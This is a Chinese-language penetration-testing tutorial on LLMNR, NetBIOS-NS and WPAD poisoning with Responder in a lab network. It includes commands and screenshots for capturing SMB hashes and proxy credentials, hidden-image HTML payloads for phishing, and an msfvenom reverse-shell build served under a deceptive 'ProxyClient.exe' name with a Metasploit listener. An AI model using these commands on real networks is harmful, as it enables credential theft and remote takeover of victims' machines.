中间人攻击——LLMNR、WPAD以及Responder

概述

继续学习一波中间人攻击的LLMNR、WPAD以及Responder,备忘。

概述

Windows系列机子在局域网中查询DNS一般通过如下的几个步骤:

  1. 查看本地hosts文件。
1
type C:\Windows\system32\drivers\etc\hosts
  1. 查询本地DNS缓存。
1
ipconfig/displaydns
  1. 向dns服务器发送dns请求。

  2. 如果本地网络中的dns也解析失败,它就会被交给LLMNR[链路本地多播名称解析]和netbios-ns去处理解析。

LLMNR 以及 NetBIOS——NS

从 Windows Vista 起,Windows 操作系统开始支持一种新的名称解析协议 —— LLMNR,主要用于局域网中的名称解析。在DNS 服务器不可用时,DNS 客户端计算机可以使用本地链路多播名称解析 (LLMNR—Link-Local Multicast Name Resolution)(也称为多播 DNS 或 mDNS)来解析本地网段上的名称。例如,如果路由器出现故障,从网络上的所有 DNS 服务器切断了子网,则支持 LLMNR 的子网上的客户端可以继续在对等基础上解析名称,直到网络连接还原为止。

LLMNR为使用IPv4、IPv6或者同时使用这两种地址的设备提供了点对点名称解析服务,LLMNR 能够很好的支持 IPv4 和 IPv6,因此在 Windows 名称解析顺序中是一个仅次于 DNS 的名称解析方式,更重要的是在 Linux 操作系统中也实现了 LLMNR。

LLMNR通过在DNS名称解析服务不可用时提供解析服务,弥补了DNS的不足。

LLMNR

llmnr-1

和DNS一样,LLMNR 名称解析过程所使用的传输协议为 UDP 协议。其IPv4 的广播地址为 - 224.0.0.252, IPv6 的广播地址为 - FF02:0:0:0:0:0:1:3 或 FF02::1:3。在主机中所监听的端口为 UDP/5355。

使用 Wireshark 抓取一个完整的 LLMNR 质询/应答过程的数据包,如下图所示:

llmnr-2

从上图可以看到,主机 A 分别使用自己的 IPv4 地址和 IPv6 地址向 IPv4 和 IPv6 的广播地址进行了广播。查询的地址类型为请求主机 B 的 IPv4 地址,这一点可以从 A 或 AAAA 进行区别。一个 A 表示请求的地址类型为 IPv4 地址,四个A(AAAA)表示请求的地址类型为 IPv6 地址。

Netbios

Netbios 即名称服务,专门用于同一内网下windows机器之间通过机器名相互访问,工作在会话层。NetBIOS是本地网络的系统API,它有三种NetBIOS服务:

  1. 域名服务,使用137端口用于域名注册和域名解析
  2. 数据分发服务,使用138端口连接通信
  3. 会话服务,使用139端口面向连接通信

在dns查询失败后,LLMNR会调用NetBIOS,生成一个NetBIOS-NS数据包然后使用广播的方式发送出去。

nbns-1

这个看似没什么坏处的协议,我们可以利用其进行中间人攻击从而获取敏感数据,如用户名,hash等。

劫持会话获取 HASH

  1. 劫持 SMB 会话获取 HASH

利用 LLMNR Poison 攻击劫持 SMB 会话与 SMBRelay 攻击相似,本质上都是对 SMB 的会话进行劫持,但是 SMBRelay 攻击是被动式的攻击,同时,攻击者所劫持的 SMB 会话只有在该会话本身是一次成功的会话的情况下才能拿到目标服务器的权限。利用 LLMNR Poison 攻击劫持 SMB 会话,只要有主机使用计算机名称访问其他主机的共享时就可以得到发起共享请求的主机的 HASH。但是这个 HASH 只能用于爆破(因为已知了挑战),无法直接登录主机。可以将 LLMNR Poison 攻击 与 SMBRelay 攻击结合起来,提升攻击力。

  1. 使用 HTTP 401 认证获取 HASH

使用 HTTP 401 认证同样也可以获取到客户端机器的 HASH。

攻击原理

假设现在有三台机器:

A 被欺骗主机: 192.168.111.170
B 攻击机:192.168.111.183
C 被欺骗主机要访问的服务器:192.168.111.1

llmnr-3

当A向C发起共享资源请求时,由于本地dns解析失败,正常情况下该请求会被交给LLMNR然后执行netbios查询,但不巧的是攻击者此时正在监听网络中的所有netbios查询请求,自然也就会捕捉到这条查询,当攻击者捕捉到该查询之后,它会告请求者也就是A,我[B]就是你要请求的那台服务器,接着A会把自己的账号密码提供给B认证,也就是说,此时B已经截获到了A的账号密码。

具体操作

  1. 在C服务器上,也就是我们的服务器上先创建一个共享目录:

ftp-1

  1. 攻击机启动responder

此时,我们再利用responder 来获取目标的smb hash,虽然不是明文,但我们可以配合类似hashcat的hash破解工具尝试破解该hash,当然,如果你有自己的GPU矩阵就再好不过了,或许很快就可以拿到对应的明文

1
root@kali:~# responder -I eth0

responder-1

  1. 然后再回到A上通过smb进行访问:

ftp-2

  1. Kali 攻击机上可以看到如下hash值

responder-2

WPAD

WPAD(web代理自动发现协议-Web Proxy Auto-Discovery Protocol),是客户端通过DHCP或DNS协议探测代理服务器配置脚本url的一种方式。当IE定位脚本并将脚本下载到本地之后,就可以通过该脚本来为不同的url选择相应的代理服务器。目前主流浏览器一般都支持WPAD。

只要应用于如下场景,公司内网为了安全,不允许员工直接访问外网的服务,但是允许公司员工通过web代理访问外网资源,但是对于员工来说设置代理又是个麻烦事,所以通常公司主要使用用WPAD来查找网络中的wpad.dat文件的,有了该文件以后,客户端以后就会根据文件中的内容自动配置代理。

查询wpad.dat文件主要通过如下几个方式:

  1. 通过dns查询。
  2. 通过dhcp服务进行检索。
  3. 利用LLMNR查询。

攻击原理

可以利用dns或者dhcp毒化,来操控流量指向,但这种方式很容易被拦截,而LLMNR则不一样,它是通过广播告诉同一内网下的所有windows,它就是wpad服务器,这样当你的浏览器设置为自动检测代理设置的情况下,它就会下载攻击者事先准备好的wpad.dat文件,这样一来,客户端的流量就会经过攻击者的机器。

假设现在有三台机器:

A 被欺骗主机: 192.168.111.170
B 攻击机:192.168.111.183
C 被欺骗主机要访问的服务器:192.168.111.184

具体操作

  1. 在C服务器上,也就是我们的服务器上先创建一个共享目录:

ftp-1

  1. 攻击机启动responder
1
root@kali:~# responder -I eth0 -wFb

responder-3

  1. 在被欺骗主机上开启自动检测脚本

internetconfig

  1. 被欺骗者访问主机目标服务器,并登陆

ftp-2

  1. Kali 攻击机上可以看到如下明文密码

responder-4

其他

Responder 结合钓鱼页面/跨站进行

伪造钓鱼页面或者借助跨站插入如下相关请求,

1
2
<img/src=\\WIN764TEST1\1.jpg width=0 height=0>
<img/src=http:\\WIN764TEST1\1.jpg width=0 height=0>

如果受害者进行了账号密码输入,那么就能得到相应的信息,比如hash值或者明文密码等。

responder-5

responder 钓鱼木马

  1. 首先,准备好自己的马,这里我就暂时直接用msf来生成了,现实中免杀是必须的,生成好以后把它放到我们的responder的files目录中,
1
2
root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.111.183 LPORT=1234 -f exe -o /root/Desktop/shell.exe
root@kali:~# mv /root/Desktop/shell.exe /usr/share/responder/files/
  1. msf监听端口
1
2
3
4
5
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.111.183
set LPORT 1234
exploit -j
  1. 编辑responder.conf
1
root@kali:~# vi /etc/responder/Responder.conf
1
2
3
4
5
Serve-Always = On
Serve-Exe = On
HtmlFilename = files/AccessDenied.html
ExeFilename = files/shell.exe 指定我们刚刚生成的shell名称
ExeDownloadName = ProxyClient.exe 提示下载时所显示的名称,最好弄个成功率比较高的有诱惑性的名字
  1. 启动responder:
1
root@kali:~# responder -I eth0 -wrf
  1. 等待被欺骗机访问任意域名,下载运行程序

shell-1

  1. kali成功控制。

参考文章

利用LLMNR协议进行常规win内网渗透的理解与实践
利用 LLMNR 名称解析缺陷劫持内网指定主机会话